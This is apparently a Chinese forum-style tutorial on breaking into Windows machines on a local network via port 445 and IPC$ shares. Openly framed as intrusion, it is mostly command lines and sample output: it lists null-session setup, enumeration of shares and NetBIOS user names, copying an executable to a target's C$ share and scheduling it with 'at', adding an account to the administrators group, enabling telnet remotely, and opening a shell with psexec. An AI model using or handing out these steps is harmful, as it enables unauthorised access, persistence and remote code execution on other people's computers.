局域网如何利用 445 端口入侵
求445 端口入侵原因详细解析,入侵中可能会用到的命令。
在局域网可以直接侵入的,445端口有了它我们可以在局域网中轻松访问各种共享文件夹或共享打印机,但也正是因为有了它,黑客们才有了可乘之机,他们能通过该端口偷偷共享你的硬盘,甚至会在悄无声息中将你的硬盘格式化掉。
445端口是IPC 服务的默认端口,正是因为IPC服务成为攻击目标,其依赖于远程服务器必须监听445/139端口,因而445端口成为入侵对象。
建立空会话
1 首先,我们先建立一个空会话(当然,这需要目标开放 ipc$ )
命令: net use \ip\ipc$ “” /user:””
注意:上面的命令包括四个空格, net 与 use 中间有一个空格, use 后面一个,密码左右各一个空格。
2 查看远程主机的共享资源
命令: net view \ip
解释:前提是建立了空连接后,用此命令可以查看远程主机的共享资源,如果它开了共享,可以得到如下面的结果,但此命令不能显示默认共享。
在 \... 的共享资源
资源共享名 类型 用途 注释
netlogon disk logon server share
sysvol disk logon server share
命令成功完成。
3 查看远程主机的当前时间
命令: net time \ip
解释:用此命令可以得到一个远程主机的当前时间。
4 得到远程主机的 netbios 用户名列表(需要打开自己的 nbt )
命令: nbtstat -a ip
用此命令可以得到一个远程主机的 netbios 用户名列表,返回如下结果:
node ipaddress: [*.*.*.*] scope id: []
netbios remote machine name table
name type status
---------------------------------------------
server <00> unique registered
oyamanishi-h <00> group registered
oyamanishi-h < 1c > group registered
server <20> unique registered
oyamanishi-h <1b> unique registered
oyamanishi-h <1e> group registered
server <03> unique registered
oyamanishi-h <1d> unique registered
..__msbrowse__.<01> group registered
inet~services < 1c > group registered
is~server......<00> unique registered
mac address = 00-50-8b -9a -2d-37
以上是我们使用空会话所做的事情,注意:建立 ipc$ 连接的操作会在 event log 中留下记录,不管你是否登录成功。 那么下面我们就来看看 ipc$ 所使用的端口是什么?
ipc$ 所使用的端口
首先我们来了解一些基础知识:
1 smbserver message block) windows 协议族,用于文件打印共享的服务;
2 nbtnetbios over tcp/ip) 使用 137 ( udp ) 138 ( udp ) 139 ( tcp )端口实现基于 tcp/ip 协议的 netbios 网络互联。
3 在 windowsnt 中 smb 基于 nbt 实现,即使用 139 ( tcp )端口;而在 windows2000 中, smb 除了基于 nbt 实现,还可以直接通过 445 端口实现。
有了这些基础知识,我们就可以进一步来讨论访问网络共享对端口的选择了:
对于 win2000 客户端(发起端)来说:
1 如果在允许 nbt 的情况下连接服务器时,客户端会同时尝试访问 139 和 445 端口,如果 445 端口有响应,那么就发送 rst包给 139 端口断开连接,用 455 端口进行会话,当 445 端口无响应时,才使用 139 端口,如果两个端口都没有响应,则会话失败;
2 如果在禁止 nbt 的情况下连接服务器时,那么客户端只会尝试访问 445 端口,如果 445 端口无响应,那么会话失败。
对于 win2000 服务器端来说:
1 如果允许 nbt, 那么 udp 端口 137, 138, tcp 端口 139, 445 将开放( listening );
2 如果禁止 nbt ,那么只有 445 端口开放。
我们建立的 ipc$ 会话对端口的选择同样遵守以上原则。显而易见,如果远程服务器没有监听 139 或 445 端口, ipc$ 会话是无法建立的。
ipc 管道在 hack 攻击中的意义
ipc 管道本来是微软为了方便管理员进行远程管理而设计的,但在入侵者看来,开放 ipc 管道的主机似乎更容易得手。通过 ipc管道,我们可以远程调用一些系统函数(大多通过工具实现,但需要相应的权限),这往往是入侵成败的关键。如果不考虑这些,仅从传送文件这一方面,ipc 管道已经给了入侵者莫大的支持,甚至已经成为了最重要的传输手段,因此你总能在各大论坛上看到一些朋友因为打不开目标机器的 ipc管道而一筹莫展大呼救命。当然,我们也不能忽视权限在 ipc管道中扮演的重要角色,想必你一定品尝过空会话的尴尬,没有权限,开启管道我们也无可奈何。但入侵者一旦获得了管理员的权限,那么 ipc管道这把双刃剑将显示出它狰狞的一面。
ipc$ 连接失败的常见原因
以下是一些常见的导致 ipc$ 连接失败的原因:
1 ipc 连接是 windows nt 及以上系统中特有的功能,由于其需要用到 windows nt 中很多 dll 函数,所以不能在windows 9.x/me 系统中运行,也就是说只有 nt/2000/xp 才可以相互建立 ipc$ 连接, 98/me 是不能建立ipc$ 连接的;
2 如果想成功的建立一个 ipc$ 连接,就需要响应方开启 ipc$ 共享,即使是空连接也是这样,如果响应方关闭了 ipc$ 共享,将不能建立连接;
3 连接发起方未启动 lanmanworkstation 服务(显示名为: workstation ):它提供网络链结和通讯,没有它发起方无法发起连接请求;
4 响应方未启动 lanmanserver 服务(显示名为: server ):它提供了 rpc 支持、文件、打印以及命名管道共享, ipc$ 依赖于此服务,没有它主机将无法响应发起方的连接请求,不过没有它仍可发起 ipc$ 连接;
5 响应方未启动 netlogon ,它支持网络上计算机 pass-through 帐户登录身份(不过这种情况好像不多);
6 响应方的 139 , 445 端口未处于监听状态或被防火墙屏蔽;
7 连接发起方未打开 139 , 445 端口;
8 用户名或者密码错误:如果发生这样的错误,系统将给你类似于 ‘ 无法更新密码 ‘ 这样的错误提示(显然空会话排除这种错误);
9 命令输入错误:可能多了或少了空格,当用户名和密码中不包含空格时两边的双引号可以省略,如果密码为空,可以直接输入两个引号 “” 即可;
10 如果在已经建立好连接的情况下对方重启计算机,那么 ipc$ 连接将会自动断开,需要重新建立连接。
入侵中可能会用到的命令
1 建立 / 删除 ipc$ 连接的命令
1 )建立空连接 :net use \\127.0.0.1\ipc$ "" /user:""
2 )建立非空连接 :net use \\127.0.0.1\ipc$ " 密码 " /user:" 用户名 "
3 )删除连接 :net use \\127.0.0.1\ipc$ /del
2 在 ipc$ 连接中对远程主机的操作命令
1 ) 查看远程主机的共享资源(看不到默认共享) :
net view \127.0.0.1
2 ) 查看远程主机的当前时间 :net time \\127.0.0.1
3 ) 得到远程主机的 netbios 用户名列表 :nbtstat -A 127.0.0.1
4 )映射 / 删除远程共享 :net use z: \\127.0.0.1\c
此命令将共享名为 c 的共享资源映射为本地 z 盘net use z: /del
删除映射的 z 盘,其他盘类推
5 )向远程主机复制文件 :
copy 路径 \ 文件名 \IP\ 共享目录名,如:
copy c:\xinxin.exe \127.0.0.1\c$ 即将 c 盘下的 xinxin.exe 复制到对方 c 盘内
当然,你也可以把远程主机上的文件复制到自己的机器里:copy \\127.0.0.1\c$\xinxin.exe c:
6 )远程添加计划任务 :at \IP 时间 程序名 如:at \\127.0.0.0 11:00 xinxin.exe
注意:时间尽量使用 24 小时制;如果你打算运行的程序在系统默认搜索路径(比如 system32/ )下则不用加路径,否则必须加全路径
3 本地命令
1 )查看本地主机的共享资源(可以看到本地的默认共享)net share
2 )得到本地主机的用户列表net user
3 )显示本地某用户的帐户信息net user 帐户名
4 )显示本地主机当前启动的服务net start
5 )启动 / 关闭本地服务net start 服务名 net stop 服务名
6 )在本地添加帐户net user 帐户名 密码 /add
7 )激活禁用的用户net uesr 帐户名 /active:yes
8 )加入管理员组net localgroup administrators 帐户名 /add
很显然的是,虽然这些都是本地命令,但如果你在远程主机的 shell 中输入,比如你 telnet 成功后输入上面这些命令,那么这些本地输入将作用在远程主机上。
4 其他一些命令
1 ) telnettelnet IP 端口
telnet 127.0.0.0 23
2 )用 opentelnet.exe 开启远程主机的 telnetOpenTelnet.exe \\ip 管理员帐号 密码 NTLM 的认证方式 port
OpenTelnet.exe \\127.0.0.1 administrator "" 1 90
不过这个小工具需要满足四个要求:
1 )目标开启了 ipc$ 共享
2 )你要拥有管理员密码和帐号
3 )目标开启 RemoteRegistry 服务,用户就可以更改 ntlm 认证
4 )对仅 WIN2K/XP 有效
3 )用 psexec.exe 一步获得 shell ,需要 ipc 管道支持
psexec.exe \IP -u 管理员帐号 -p 密码 cmd
psexec.exe \127.0.0.1 -u administrator -p “” cmd